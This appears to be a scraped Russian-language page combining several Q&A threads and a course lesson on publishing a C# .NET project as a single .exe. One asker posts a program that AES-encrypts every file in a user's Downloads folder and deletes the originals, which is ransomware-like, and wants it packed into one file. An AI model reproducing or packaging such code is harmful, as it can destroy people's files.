Как скомпилировать единый exe файл в проекте Visual Studio?
Сохраняется вот так, как можно создать единый файл?
Отслеживать
47.6k 5 5 золотых знаков 22 22 серебряных знака 57 57 бронзовых знаков
задан 15 мая 2021 в 11:24
Денис Волков Денис Волков
79 1 1 золотой знак 1 1 серебряный знак 5 5 бронзовых знаков
@AK Я не согласен с тем, что прилинкованный ответ отвечает на вопрос, поскольку это .NET Core/5, а ответ для Framework.
15 мая 2021 в 11:39
@aepot Действительно, ловите плюсик за внимательность к деталям.
15 мая 2021 в 12:14
1 ответ 1
Сортировка: Сброс на вариант по умолчанию
Вам нужно опубликовать Build -> Publish приложение, в параметрах публикации выбрать Folder, далее выбрать win-x64 файл и поставить галочку Produce single file.
Публикация приложения с одним файлом с помощью Visual Studio
Visual Studio создает многократно используемые профили публикации, которые управляют процессом публикации приложения.
- В обозревателе решений щелкните правой кнопкой мыши проект, который нужно опубликовать. Нажмите кнопку Опубликовать.
Если у вас еще нет профиля публикации, следуйте инструкциям по его созданию и выберите Папка в качестве типа целевого объекта. - Нажмите кнопку Изменить.
- В диалоговом окне Параметры профиля задайте следующие параметры.
- Параметру Режим развертывания задайте значение Автономное или Зависимое от платформы.
- В качестве значения параметра Целевая среда выполнения укажите платформу, на которую будет выполнена публикация. (Значение должно быть отличным от Переносимый.)
- Выберите Создать отдельный файл. Нажмите кнопку Сохранить, чтобы сохранить параметры и вернуться в диалоговое окно Публикация.
- Чтобы опубликовать приложение с одним файлом, нажмите кнопку Опубликовать.
Дополнительные сведения см. в статье Публикация приложений .NET Core с помощью Visual Studio.
По поводу того, чем опции Self-contained и Framework-dependent отличаются, я ранее рассказывал здесь.
Если все прошло хорошо, профиль публикации Properties\PublishProfiles\FolderProfile.pubxml будет выглядеть вот так
Release Any CPU bin\Release\Publish FileSystem net5.0-windows win-x64 false True False
А в интерфейсе публикации оно будет выглядеть так
Примечание для .NET 5 и более новых версий
Так как в .NET 5 оптимизировали технологию запуска приложения из одиночного файла, теперь по умолчанию он не включает в себя нативные библиотеки, а включает только управляемые.
Если ваша сборка зависит от нативных библиотек, и вы столкнулись с тем, что dll файлы при публикации все равно лежат отдельно, то чтобы это вылечить, в первую секцию .cproj файла нужно добавить опцию:
true
Как скомпилировать проект на C# в один .exe файл?
Всем привет.
Я написал простое консольное приложение на C# , под Windows .
Есть задача скомпилировать небольшой проект в 1 .exe файл. То есть , скрыть файлы .dll , которые создаются после компиляции.
Большинство из «нагугливанного» не работает (статьи 2001-2012 годов). Считаю , что вопрос актуален.
Какими средствами вы пользуйтесь?
- Вопрос задан более двух лет назад
- 4566 просмотров
Комментировать
Решения вопроса 1
Василий Банников @vabka Куратор тега .NET
Токсичный шарпист
Single File Application — фича современных дотнетов со времён .net Core 3
Буквально при помощи одной опции в файле проекта или одной строкой в консоли собирает ваш проект в единый екзешник, в который ещё может быть опционально встроен рантайм.
Вот пример csproj:
Exe net6.0 enable true true win-x64 true true link
В результате получается единственный exe, который реально можно запустить где угодно, вне зависимости от установленной версии .NET
Для старых версий дотнета есть ILMerge и Costura.Fody, но в .net 5 они не нужны, и я крайне советую использовать именно .NET 5 (а скоро ещё 6 выйдет)
Ответ написан более двух лет назад
Нравится 5 10 комментариев
Lizard @rootovich1 Автор вопроса
Попробую сегодня, скажу результат.
Второй день изучаю Cи — подобные языки , кле что остаётся непонятным.
Василий Банников @vabka Куратор тега .NET
Lizard, а ну и ещё важный момент забыл упомянуть.
Собирать финальную версию надо либо через консоль
dotnet publish
Либо в студии кнопка «опубликовать» (там выбрать публикацию в папку)
true
Ну это сильно по необходимости, т.к. размер конечного файла при этом заметно возрастает.
+ в независимости от установленного рантайма.
— в размере конечного файла.
Василий Банников @vabka Куратор тега .NET
Alexander, кстати, размер файла, в случае Hello World, увеличился всего до 14мб. По идее, если отключить R2R, то будет ещё меньше
Василий Банников, ну для Linux программа на .Net 5 с несколькими библиотеками c ~2-3Мб без рантаймов вырастает до около 100 (если не больше) с рантаймами.
Lizard @rootovich1 Автор вопроса
Василий Банников,
Сделал по инструкции , все равно конечный фаил имеет dll и не запускается без них.
Мой код, который я пытаюсь упоковать в один файл:
using System.IO; using System.Security.Cryptography; using System.Linq; namespace _2test < class Program < static void Main(string[] args) < byte[] key = Enumerable.Range(0, 32).Select(x =>(byte)x).ToArray(); string PathToFolder = @"C:\Users\Lizard\Downloads\"; string[] allfiles = Directory.GetFiles(PathToFolder); foreach (string filename in allfiles) < EncryptFile(filename, key); >> private static void EncryptFile(string path, byte[] key) < string tmpPath = Path.GetTempFileName(); using (FileStream fsSrc = File.OpenRead(path)) using (AesManaged aes = new AesManaged() < Key = key >) using (FileStream fsDst = File.Create(tmpPath)) < fsDst.Write(aes.IV); using (CryptoStream cs = new CryptoStream(fsDst, aes.CreateEncryptor(), CryptoStreamMode.Write, true)) < fsSrc.CopyTo(cs); >> File.Delete(path); File.Move(tmpPath, path); > > >
Exe net5.0 true win-x64 true true true link
Visual studio как скомпилировать проект в exe
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нем неправильно.
Необходимо обновить браузер или попробовать использовать другой.
B правой части каждого сообщения есть стрелки ⇧ и ⇩ . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок ✔ в правой части сообщения.
Киберколизей II Прими участие в международных CTF-соревнованиях по кибербезопасности и получи крутые призы! Начало 11 ноября, 10:00 мск, Jeopardy, онлайн. Принять участие!
#10 – Создание Exe файла. Завершение
Для отправки вашего приложения друзьям или знакомым вам в первую очередь нужно создать EXE файл проекта. Его создание не столь сложный процесс. В уроке мы подведем итоги курса и создадим EXE файл.
Видеоурок
В ходе курса мы с вами изучили построение простых приложений с использованием языка C# и платформы WPF. Платформа состоит из сотен классов, функций и различных объектов. Изучить их все – очень сложно, а главное не нужно.
Попробуйте сейчас создать свое собственное приложение, а по ходу его реализации вы сами обучитесь новым действиям и функциям платформы WPF.
Программа обучения
Если вас интересует более углубленное изучение самого языка и его фреймворков, то предлагаем вашему внимаю наш полный курс по изучению C# . За курс вы изучите язык C#, научитесь делать веб проекты на основе ASP NET и строить приложения при помощи WinForms и WPF.
Большое задание по курсу
Вам необходимо оформить подписку на сайте, чтобы иметь доступ ко всем большим заданиям. В задание входит методика решения, а также готовый проект с ответом к заданию.
PS: подобные задания доступны при подписке от 1 месяца